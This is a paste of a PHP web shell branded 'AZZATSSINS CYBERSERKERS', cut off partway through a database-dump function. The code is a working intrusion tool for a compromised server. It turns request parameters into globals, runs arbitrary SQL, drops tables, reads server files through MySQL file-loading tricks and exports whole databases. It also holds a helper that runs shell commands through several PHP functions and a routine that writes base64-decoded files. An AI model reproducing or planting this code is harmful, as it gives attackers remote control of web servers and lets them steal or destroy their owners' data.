· 6 years ago · Jan 12, 2020, 10:56 AM
1<?php
2error_reporting(7);
3@set_magic_quotes_runtime(0);
4ob_start();
5$mtime = explode(' ', microtime());
6$starttime = $mtime[1] + $mtime[0];
7define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)).'/');
8//define('IS_WIN', strstr(PHP_OS, 'WIN') ? 1 : 0 );
9define('IS_WIN', DIRECTORY_SEPARATOR == '\\');
10define('IS_COM', class_exists('COM') ? 1 : 0 );
11define('IS_GPC', get_magic_quotes_gpc());
12$dis_func = get_cfg_var('disable_functions');
13define('IS_PHPINFO', (!eregi("phpinfo",$dis_func)) ? 1 : 0 );
14@set_time_limit(0);
15
16foreach(array('_GET','_POST') as $_request) {
17foreach($$_request as $_key => $_value) {
18if ($_key{0} != '_') {
19if (IS_GPC) {
20$_value = s_array($_value);
21}
22$$_key = $_value;
23}
24}
25}
26
27if ($charset == 'utf8') {
28header("content-Type: text/html; charset=utf-8");
29} elseif ($charset == 'big5') {
30header("content-Type: text/html; charset=big5");
31} elseif ($charset == 'gbk') {
32header("content-Type: text/html; charset=gbk");
33} elseif ($charset == 'latin1') {
34header("content-Type: text/html; charset=iso-8859-2");
35}
36
37$self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
38$timestamp = time();
39
40
41if ($doing == 'backupmysql' && !$saveasfile) {
42dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
43$table = array_flip($table);
44$result = q("SHOW tables");
45if (!$result) p('<h2>'.mysql_error().'</h2>');
46$filename = basename($_SERVER['HTTP_HOST'].'_MySQL.sql');
47header('Content-type: application/unknown');
48header('Content-Disposition: attachment; filename='.$filename);
49$mysqldata = '';
50while ($currow = mysql_fetch_array($result)) {
51if (isset($table[$currow[0]])) {
52$mysqldata .= sqldumptable($currow[0]);
53}
54}
55mysql_close();
56exit;
57}
58
59
60if($doing=='mysqldown'){
61if (!$dbname) {
62$errmsg = 'Please input dbname';
63} else {
64dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
65if (!file_exists($mysqldlfile)) {
66$errmsg = 'The file you want Downloadable was nonexistent';
67} else {
68$result = q("select load_file('$mysqldlfile');");
69if(!$result){
70q("DROP TABLE IF EXISTS tmp_angel;");
71q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");
72q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");
73$result = q("select content from tmp_angel");
74q("DROP TABLE tmp_angel");
75}
76$row = @mysql_fetch_array($result);
77if (!$row) {
78$errmsg = 'Load file failed '.mysql_error();
79} else {
80$fileinfo = pathinfo($mysqldlfile);
81header('Content-type: application/x-'.$fileinfo['extension']);
82header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
83header("Accept-Length: ".strlen($row[0]));
84echo $row[0];
85exit;
86} } } }
87?>
88
89<html>
90<head>
91<meta http-equiv="Content-Type" content="text/html; charset=gbk">
92<title>AZZATSSINS CYBERSERKERS</title>
93<style type="text/css">
94body,td{font: 12px Arial,Tahoma;line-height: 16px;}
95.input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:22px;}
96.area{font:12px 'Courier New', Monospace;background:#fff;border: 1px solid #666;padding:2px;}
97.bt {border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;}
98a {color: #00f;text-decoration:underline;}
99a:hover{color: #f00;text-decoration:none;}
100.alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 10px 5px 5px;}
101.alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f9f9f9;padding:5px 10px 5px 5px;}
102.focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 10px 5px 5px;}
103.head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 10px 5px 5px;font-weight:bold;}
104.head td span{font-weight:normal;}
105form{margin:0;padding:0;}
106h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
107ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
108u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
109</style>
110<script type="text/javascript">
111function CheckAll(form) {
112for(var i=0;i<form.elements.length;i++) {
113var e = form.elements[i];
114if (e.name != 'chkall')
115e.checked = form.chkall.checked;
116} }
117function $(id) {
118return document.getElementById(id);
119}
120function goaction(act){
121$('goaction').action.value=act;
122$('goaction').submit();
123}
124</script>
125</head>
126<body style="margin:0;table-layout:fixed; word-break:break-all">
127<table width="100%" border="0" cellpadding="0" cellspacing="0">
128<tr class="alt1">
129<td><span style="float:right;">Safe Mode:<?php echo getcfg('safe_mode');?></span>
130<a href="javascript:goaction('logout');">Logout</a>
131<a href="javascript:goaction('sqladmin');"></a>
132</td></tr></table>
133
134<table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
135<?php
136
137formhead(array('name'=>'goaction'));
138makehide('action');
139formfoot();
140
141if (!$action || $action == 'sqladmin') {
142!$dbhost && $dbhost = 'localhost';
143!$dbuser && $dbuser = '';
144!$dbport && $dbport = '3306';
145$dbform = '<input type="hidden" id="connect" name="connect" value="1" />';
146
147if(isset($dbhost)){
148$dbform .= "<input type=\"hidden\" id=\"dbhost\" name=\"dbhost\" value=\"$dbhost\" />\n";
149} if(isset($dbuser)) {
150$dbform .= "<input type=\"hidden\" id=\"dbuser\" name=\"dbuser\" value=\"$dbuser\" />\n";
151} if(isset($dbpass)) {
152$dbform .= "<input type=\"hidden\" id=\"dbpass\" name=\"dbpass\" value=\"$dbpass\" />\n";
153} if(isset($dbport)) {
154$dbform .= "<input type=\"hidden\" id=\"dbport\" name=\"dbport\" value=\"$dbport\" />\n";
155} if(isset($dbname)) {
156$dbform .= "<input type=\"hidden\" id=\"dbname\" name=\"dbname\" value=\"$dbname\" />\n";
157} if(isset($charset)) {
158$dbform .= "<input type=\"hidden\" id=\"charset\" name=\"charset\" value=\"$charset\" />\n";
159}
160
161
162if ($doing == 'backupmysql' && $saveasfile) {
163if (!$table) {
164m('Please choose the table');
165} else {
166dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
167$table = array_flip($table);
168$fp = @fopen($path,'w');
169if ($fp) {
170$result = q('SHOW tables');
171if (!$result) p('<h2>'.mysql_error().'</h2>');
172$mysqldata = '';
173while ($currow = mysql_fetch_array($result)) {
174if (isset($table[$currow[0]])) {
175sqldumptable($currow[0], $fp);
176}
177}
178fclose($fp);
179$fileurl = str_replace(SA_ROOT,'',$path);
180m('Database has success backup to <a href="'.$fileurl.'" target="_blank">'.$path.'</a>');
181mysql_close();
182} else {
183m('Backup failed');
184}
185}
186}
187if ($insert && $insertsql) {
188$keystr = $valstr = $tmp = '';
189foreach($insertsql as $key => $val) {
190if ($val) {
191$keystr .= $tmp.$key;
192$valstr .= $tmp."'".addslashes($val)."'";
193$tmp = ',';
194}
195}
196if ($keystr && $valstr) {
197dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
198m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());
199}
200}
201if ($update && $insertsql && $base64) {
202$valstr = $tmp = '';
203foreach($insertsql as $key => $val) {
204$valstr .= $tmp.$key."='".addslashes($val)."'";
205$tmp = ',';
206}
207if ($valstr) {
208$where = base64_decode($base64);
209dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
210m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());
211}
212}
213if ($doing == 'del' && $base64) {
214$where = base64_decode($base64);
215$delete_sql = "DELETE FROM $tablename WHERE $where";
216dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
217m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());
218}
219
220if ($tablename && $doing == 'drop') {
221dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
222if (q("DROP TABLE $tablename")) {
223m('Drop table of success');
224$tablename = '';
225} else {
226m(mysql_error());
227}
228}
229
230$charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
231
232formhead(array('title'=>'MYSQL Manager'));
233makehide('action','sqladmin');
234p('<center><p>');
235p('DB Host :');
236makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
237p('<p>');
238p('DB User :');
239makeinput(array('name'=>'dbuser','size'=>20,'value'=>$dbuser));
240p('<p>');
241p('DB Pass :');
242makeinput(array('name'=>'dbpass','size'=>20,'value'=>$dbpass));
243p('<p>');
244makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt'));
245p('</p></center>');
246formfoot();
247?>
248<script type="text/javascript">
249function editrecord(action, base64, tablename){
250if (action == 'del') {
251if (!confirm('Is or isn\'t deletion record?')) return;
252}
253$('recordlist').doing.value=action;
254$('recordlist').base64.value=base64;
255$('recordlist').tablename.value=tablename;
256$('recordlist').submit();
257}
258function moddbname(dbname) {
259if(!dbname) return;
260$('setdbname').dbname.value=dbname;
261$('setdbname').submit();
262}
263function settable(tablename,doing,page) {
264if(!tablename) return;
265if (doing) {
266$('settable').doing.value=doing;
267}
268if (page) {
269$('settable').page.value=page;
270}
271$('settable').tablename.value=tablename;
272$('settable').submit();
273}
274</script>
275<?php
276
277formhead(array('name'=>'recordlist'));
278makehide('doing');
279makehide('action','sqladmin');
280makehide('base64');
281makehide('tablename');
282p($dbform);
283formfoot();
284
285
286formhead(array('name'=>'setdbname'));
287makehide('action','sqladmin');
288p($dbform);
289if (!$dbname) {
290makehide('dbname');
291}
292formfoot();
293
294
295formhead(array('name'=>'settable'));
296makehide('action','sqladmin');
297p($dbform);
298makehide('tablename');
299makehide('page',$page);
300makehide('doing');
301formfoot();
302
303$cachetables = array();
304$pagenum = 30;
305$page = intval($page);
306if($page) {
307$start_limit = ($page - 1) * $pagenum;
308} else {
309$start_limit = 0;
310$page = 1;
311}
312if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
313dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
314$mysqlver = mysql_get_server_info();
315p('<p>MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');
316$highver = $mysqlver > '4.1' ? 1 : 0;
317
318$query = q("SHOW DATABASES");
319$dbs = array();
320$dbs[] = '-- Select a database --';
321while($db = mysql_fetch_array($query)) {
322$dbs[$db['Database']] = $db['Database'];
323}
324makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));
325$tabledb = array();
326if ($dbname) {
327p('<p>');
328p('Current dababase: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a>');
329if ($tablename) {
330p(' | Current Table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Data</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]');
331}
332p('</p>');
333mysql_select_db($dbname);
334
335$getnumsql = '';
336$runquery = 0;
337if ($sql_query) {
338$runquery = 1;
339}
340$allowedit = 0;
341if ($tablename && !$sql_query) {
342$sql_query = "SELECT * FROM $tablename";
343$getnumsql = $sql_query;
344$sql_query = $sql_query." LIMIT $start_limit, $pagenum";
345$allowedit = 1;
346}
347p('<form action="'.$self.'" method="POST">');
348p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database '.$dbname.':</td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');
349makehide('tablename', $tablename);
350makehide('action','sqladmin');
351p($dbform);
352p('</form>');
353if ($tablename || ($runquery && $sql_query)) {
354if ($doing == 'structure') {
355$result = q("SHOW COLUMNS FROM $tablename");
356$rowdb = array();
357while($row = mysql_fetch_array($result)) {
358$rowdb[] = $row;
359}
360p('<table border="0" cellpadding="3" cellspacing="0">');
361p('<tr class="head">');
362p('<td>Field</td>');
363p('<td>Type</td>');
364p('<td>Null</td>');
365p('<td>Key</td>');
366p('<td>Default</td>');
367p('<td>Extra</td>');
368p('</tr>');
369foreach ($rowdb as $row) {
370$thisbg = bg();
371p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
372p('<td>'.$row['Field'].'</td>');
373p('<td>'.$row['Type'].'</td>');
374p('<td>'.$row['Null'].' </td>');
375p('<td>'.$row['Key'].' </td>');
376p('<td>'.$row['Default'].' </td>');
377p('<td>'.$row['Extra'].' </td>');
378p('</tr>');
379}
380tbfoot();
381} elseif ($doing == 'insert' || $doing == 'edit') {
382$result = q('SHOW COLUMNS FROM '.$tablename);
383while ($row = mysql_fetch_array($result)) {
384$rowdb[] = $row;
385}
386$rs = array();
387if ($doing == 'insert') {
388p('<h2>Insert new line in '.$tablename.' table »</h2>');
389} else {
390p('<h2>Update record in '.$tablename.' table »</h2>');
391$where = base64_decode($base64);
392$result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");
393$rs = mysql_fetch_array($result);
394}
395p('<form method="post" action="'.$self.'">');
396p($dbform);
397makehide('action','sqladmin');
398makehide('tablename',$tablename);
399p('<table border="0" cellpadding="3" cellspacing="0">');
400foreach ($rowdb as $row) {
401if ($rs[$row['Field']]) {
402$value = htmlspecialchars($rs[$row['Field']]);
403} else {
404$value = '';
405}
406$thisbg = bg();
407p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
408p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td><textarea class="area" name="insertsql['.$row['Field'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>');
409}
410if ($doing == 'insert') {
411p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');
412} else {
413p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');
414makehide('base64', $base64);
415}
416p('</table></form>');
417} else {
418$querys = @explode(';',$sql_query);
419foreach($querys as $num=>$query) {
420if ($query) {
421p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");
422switch(qy($query))
423{
424case 0:
425p('<h2>Error : '.mysql_error().'</h2>');
426break;
427case 1:
428if (strtolower(substr($query,0,13)) == 'select * from') {
429$allowedit = 1;
430}
431if ($getnumsql) {
432$tatol = mysql_num_rows(q($getnumsql));
433$multipage = multi($tatol, $pagenum, $page, $tablename);
434}
435if (!$tablename) {
436$sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));
437$sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);
438preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);
439$tablename = $matches[1][0];
440}
441$result = q($query);
442p($multipage);
443p('<table border="0" cellpadding="3" cellspacing="0">');
444p('<tr class="head">');
445if ($allowedit) p('<td>Action</td>');
446$fieldnum = @mysql_num_fields($result);
447for($i=0;$i<$fieldnum;$i++){
448$name = @mysql_field_name($result, $i);
449$type = @mysql_field_type($result, $i);
450$len = @mysql_field_len($result, $i);
451p("<td nowrap>$name<br><span>$type($len)</span></td>");
452}
453p('</tr>');
454while($mn = @mysql_fetch_assoc($result)){
455$thisbg = bg();
456p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
457$where = $tmp = $b1 = '';
458foreach($mn as $key=>$inside){
459if ($inside) {
460$where .= $tmp.$key."='".addslashes($inside)."'";
461$tmp = ' AND ';
462}
463$b1 .= '<td nowrap>'.html_clean($inside).' </td>';
464}
465$where = base64_encode($where);
466if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Edit</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Del</a></td>');
467p($b1);
468p('</tr>');
469unset($b1);
470}
471tbfoot();
472p($multipage);
473break;
474case 2:
475$ar = mysql_affected_rows();
476p('<h2>affected rows : <b>'.$ar.'</b></h2>');
477break;
478}
479}
480}
481}
482} else {
483$query = q("SHOW TABLE STATUS");
484$table_num = $table_rows = $data_size = 0;
485$tabledb = array();
486while($table = mysql_fetch_array($query)) {
487$data_size = $data_size + $table['Data_length'];
488$table_rows = $table_rows + $table['Rows'];
489$table['Data_length'] = sizecount($table['Data_length']);
490$table_num++;
491$tabledb[] = $table;
492}
493$data_size = sizecount($data_size);
494unset($table);
495p('<table border="0" cellpadding="0" cellspacing="0">');
496p('<form action="'.$self.'" method="POST">');
497makehide('action','sqladmin');
498p($dbform);
499p('<tr class="head">');
500p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');
501p('<td>Name</td>');
502p('<td>Rows</td>');
503p('<td>Data_length</td>');
504p('<td>Create_time</td>');
505p('<td>Update_time</td>');
506if ($highver) {
507p('<td>Engine</td>');
508p('<td>Collation</td>');
509}
510p('</tr>');
511foreach ($tabledb as $key => $table) {
512$thisbg = bg();
513p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
514p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="'.$table['Name'].'" /></td>');
515p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a> [ <a href="javascript:settable(\''.$table['Name'].'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'drop\');">Drop</a> ]</td>');
516p('<td>'.$table['Rows'].'</td>');
517p('<td>'.$table['Data_length'].'</td>');
518p('<td>'.$table['Create_time'].'</td>');
519p('<td>'.$table['Update_time'].'</td>');
520if ($highver) {
521p('<td>'.$table['Engine'].'</td>');
522p('<td>'.$table['Collation'].'</td>');
523}
524p('</tr>');
525}
526p('<tr class='.bg().'>');
527p('<td> </td>');
528p('<td>Total tables: '.$table_num.'</td>');
529p('<td>'.$table_rows.'</td>');
530p('<td>'.$data_size.'</td>');
531p('<td colspan="'.($highver ? 4 : 2).'"> </td>');
532p('</tr>');
533p("<tr class=\"".bg()."\"><td colspan=\"".($highver ? 8 : 6)."\"><input name=\"saveasfile\" value=\"1\" type=\"checkbox\" /> Save as file <input class=\"input\" name=\"path\" value=\"".SA_ROOT.$_SERVER['HTTP_HOST']."_MySQL.sql\" type=\"text\" size=\"60\" /> <input class=\"bt\" type=\"submit\" name=\"downrar\" value=\"Export selection table\" /></td></tr>");
534makehide('doing','backupmysql');
535formfoot();
536p("</table>");
537fr($query);
538}
539}
540}
541tbfoot();
542@mysql_close();
543}
544?>
545</td></tr></table>
546</body>
547</html>
548
549<?php
550
551function m($msg) {
552echo '<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">';
553echo $msg;
554echo '</div>';
555}
556function scookie($key, $value, $life = 0, $prefix = 1) {
557global $admin, $timestamp, $_SERVER;
558$key = ($prefix ? $admin['cookiepre'] : '').$key;
559$life = $life ? $life : $admin['cookielife'];
560$useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;
561setcookie($key, $value, $timestamp+$life, $admin['cookiepath'], $admin['cookiedomain'], $useport);
562}
563function multi($num, $perpage, $curpage, $tablename) {
564$multipage = '';
565if($num > $perpage) {
566$page = 10;
567$offset = 5;
568$pages = @ceil($num / $perpage);
569if($page > $pages) {
570$from = 1;
571$to = $pages;
572} else {
573$from = $curpage - $offset;
574$to = $curpage + $page - $offset - 1;
575if($from < 1) {
576$to = $curpage + 1 - $from;
577$from = 1;
578if(($to - $from) < $page && ($to - $from) < $pages) {
579$to = $page;
580}
581} elseif($to > $pages) {
582$from = $curpage - $pages + $to;
583$to = $pages;
584if(($to - $from) < $page && ($to - $from) < $pages) {
585$from = $pages - $page + 1;
586}
587}
588}
589$multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\''.$tablename.'\', \'\', 1);">First</a> ' : '').($curpage > 1 ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage - 1).');">Prev</a> ' : '');
590for($i = $from; $i <= $to; $i++) {
591$multipage .= $i == $curpage ? $i.' ' : '<a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');">['.$i.']</a> ';
592}
593$multipage .= ($curpage < $pages ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage + 1).');">Next</a>' : '').($to < $pages ? ' <a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');">Last</a>' : '');
594$multipage = $multipage ? '<p>Pages: '.$multipage.'</p>' : '';
595}
596return $multipage;
597}
598function loginpage() {
599?>
600<style type="text/css">
601input {font:11px Verdana;BACKGROUND: #FFFFFF;height: 18px;border: 1px solid #666666;}
602</style>
603<form method="POST" action="">
604<span style="font:11px Verdana;">Password: </span><input name="password" type="password" size="20">
605<input type="hidden" name="doing" value="login">
606<input type="submit" value="Login">
607</form>
608<?php
609exit;
610}//end loginpage()
611
612function execute($cfe) {
613$res = '';
614if ($cfe) {
615if(function_exists('exec')) {
616@exec($cfe,$res);
617$res = join("\n",$res);
618} elseif(function_exists('shell_exec')) {
619$res = @shell_exec($cfe);
620} elseif(function_exists('system')) {
621@ob_start();
622@system($cfe);
623$res = @ob_get_contents();
624@ob_end_clean();
625} elseif(function_exists('passthru')) {
626@ob_start();
627@passthru($cfe);
628$res = @ob_get_contents();
629@ob_end_clean();
630} elseif(@is_resource($f = @popen($cfe,"r"))) {
631$res = '';
632while(!@feof($f)) {
633$res .= @fread($f,1024);
634}
635@pclose($f);
636}
637}
638return $res;
639}
640function which($pr) {
641$path = execute("which $pr");
642return ($path ? $path : $pr);
643}
644
645function cf($fname,$text){
646if($fp=@fopen($fname,'w')) {
647@fputs($fp,@base64_decode($text));
648@fclose($fp);
649}
650}
651
652function debuginfo() {
653global $starttime;
654$mtime = explode(' ', microtime());
655$totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);
656echo 'Processed in '.$totaltime.' second(s)';
657}
658
659
660function dbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') {
661if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) {
662p('<h2>Can not connect to MySQL server</h2>');
663exit;
664}
665if($link && $dbname) {
666if (!@mysql_select_db($dbname, $link)) {
667p('<h2>Database selected has error</h2>');
668exit;
669}
670}
671if($link && mysql_get_server_info() > '4.1') {
672if(in_array(strtolower($charset), array('gbk', 'big5', 'utf8'))) {
673q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);
674}
675}
676return $link;
677}
678
679
680function s_array(&$array) {
681if (is_array($array)) {
682foreach ($array as $k => $v) {
683$array[$k] = s_array($v);
684}
685} else if (is_string($array)) {
686$array = stripslashes($array);
687}
688return $array;
689}
690
691
692function html_clean($content) {
693$content = htmlspecialchars($content);
694$content = str_replace("\n", "<br />", $content);
695$content = str_replace(" ", " ", $content);
696$content = str_replace("\t", " ", $content);
697return $content;
698}
699
700function bg() {
701global $bgc;
702return ($bgc++%2==0) ? 'alt1' : 'alt2';
703}
704
705
706function getPath($scriptpath, $nowpath) {
707if ($nowpath == '.') {
708$nowpath = $scriptpath;
709}
710$nowpath = str_replace('\\', '/', $nowpath);
711$nowpath = str_replace('//', '/', $nowpath);
712if (substr($nowpath, -1) != '/') {
713$nowpath = $nowpath.'/';
714}
715return $nowpath;
716}
717
718
719function getUpPath($nowpath) {
720$pathdb = explode('/', $nowpath);
721$num = count($pathdb);
722if ($num > 2) {
723unset($pathdb[$num-1],$pathdb[$num-2]);
724}
725$uppath = implode('/', $pathdb).'/';
726$uppath = str_replace('//', '/', $uppath);
727return $uppath;
728}
729
730
731function getcfg($varname) {
732$result = get_cfg_var($varname);
733if ($result == 0) {
734return 'No';
735} elseif ($result == 1) {
736return 'Yes';
737} else {
738return $result;
739}
740}
741
742
743function getfun($funName) {
744return (false !== function_exists($funName)) ? 'Yes' : 'No';
745}
746
747
748
749function qy($sql) {
750//echo $sql.'<br>';
751$res = $error = '';
752if(!$res = @mysql_query($sql)) {
753return 0;
754} else if(is_resource($res)) {
755return 1;
756} else {
757return 2;
758}
759return 0;
760}
761
762function q($sql) {
763return @mysql_query($sql);
764}
765
766function fr($qy){
767mysql_free_result($qy);
768}
769
770function sizecount($size) {
771if($size > 1073741824) {
772$size = round($size / 1073741824 * 100) / 100 . ' Gb';
773} elseif($size > 1048576) {
774$size = round($size / 1048576 * 100) / 100 . ' Mb';
775} elseif($size > 1024) {
776$size = round($size / 1024 * 100) / 100 . ' Kb';
777} else {
778$size = $size . ' Bytes';
779}
780return $size;
781}
782
783class PHPZip{
784var $out='';
785function PHPZip($dir) {
786if (@function_exists('gzcompress')) {
787$curdir = getcwd();
788if (is_array($dir)) $filelist = $dir;
789else{
790$filelist=$this -> GetFileList($dir);//+-+ --#э
791foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);
792}
793if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);
794else chdir($curdir);
795if (count($filelist)>0){
796foreach($filelist as $filename){
797if (is_file($filename)){
798$fd = fopen ($filename, 'r');
799$content = @fread ($fd, filesize($filename));
800fclose ($fd);
801if (is_array($dir)) $filename = basename($filename);
802$this -> addFile($content, $filename);
803}
804}
805$this->out = $this -> file();
806chdir($curdir);
807}
808return 1;
809}
810else return 0;
811}
812
813function GetFileList($dir){
814static $a;
815if (is_dir($dir)) {
816if ($dh = opendir($dir)) {
817while ($file = readdir($dh)) {
818if($file!='.' && $file!='..'){
819$f=$dir .'/'. $file;
820if(is_dir($f)) $this->GetFileList($f);
821$a[]=$f;
822}
823}
824closedir($dh);
825}
826}
827return $a;
828}
829
830
831
832var $datasec = array();
833var $ctrl_dir = array();
834var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
835var $old_offset = 0;
836
837function unix2DosTime($unixtime = 0) {
838$timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
839if ($timearray['year'] < 1980) {
840$timearray['year'] = 1980;
841$timearray['mon'] = 1;
842$timearray['mday'] = 1;
843$timearray['hours'] = 0;
844$timearray['minutes'] = 0;
845$timearray['seconds'] = 0;
846} // end if
847return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |
848($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
849}
850
851function addFile($data, $name, $time = 0) {
852$name = str_replace('\\', '/', $name);
853$dtime = dechex($this->unix2DosTime($time));
854$hexdtime = '\x' . $dtime[6] . $dtime[7]
855. '\x' . $dtime[4] . $dtime[5]
856. '\x' . $dtime[2] . $dtime[3]
857. '\x' . $dtime[0] . $dtime[1];
858eval('$hexdtime = "' . $hexdtime . '";');
859$fr = "\x50\x4b\x03\x04";
860$fr .= "\x14\x00";
861$fr .= "\x00\x00";
862$fr .= "\x08\x00";
863$fr .= $hexdtime;
864
865$unc_len = strlen($data);
866$crc = crc32($data);
867$zdata = gzcompress($data);
868$c_len = strlen($zdata);
869$zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
870$fr .= pack('V', $crc);
871$fr .= pack('V', $c_len);
872$fr .= pack('V', $unc_len);
873$fr .= pack('v', strlen($name));
874$fr .= pack('v', 0);
875$fr .= $name;
876$fr .= $zdata;
877$fr .= pack('V', $crc);
878$fr .= pack('V', $c_len);
879$fr .= pack('V', $unc_len);
880
881$this -> datasec[] = $fr;
882$new_offset = strlen(implode('', $this->datasec));
883
884$cdrec = "\x50\x4b\x01\x02";
885$cdrec .= "\x00\x00";
886$cdrec .= "\x14\x00";
887$cdrec .= "\x00\x00";
888$cdrec .= "\x08\x00";
889$cdrec .= $hexdtime;
890$cdrec .= pack('V', $crc);
891$cdrec .= pack('V', $c_len);
892$cdrec .= pack('V', $unc_len);
893$cdrec .= pack('v', strlen($name) );
894$cdrec .= pack('v', 0 );
895$cdrec .= pack('v', 0 );
896$cdrec .= pack('v', 0 );
897$cdrec .= pack('v', 0 );
898$cdrec .= pack('V', 32 );
899$cdrec .= pack('V', $this -> old_offset );
900$this -> old_offset = $new_offset;
901$cdrec .= $name;
902$this -> ctrl_dir[] = $cdrec;
903}
904
905function file() {
906$data = implode('', $this -> datasec);
907$ctrldir = implode('', $this -> ctrl_dir);
908return $data . $ctrldir . $this -> eof_ctrl_dir . pack('v', sizeof($this -> ctrl_dir)) . pack('v', sizeof($this -> ctrl_dir)) . pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";
909}
910}
911
912
913function sqldumptable($table, $fp=0) {
914$tabledump = "DROP TABLE IF EXISTS $table;\n";
915$tabledump .= "CREATE TABLE $table (\n";
916$firstfield=1;
917$fields = q("SHOW FIELDS FROM $table");
918while ($field = mysql_fetch_array($fields)) {
919if (!$firstfield) {
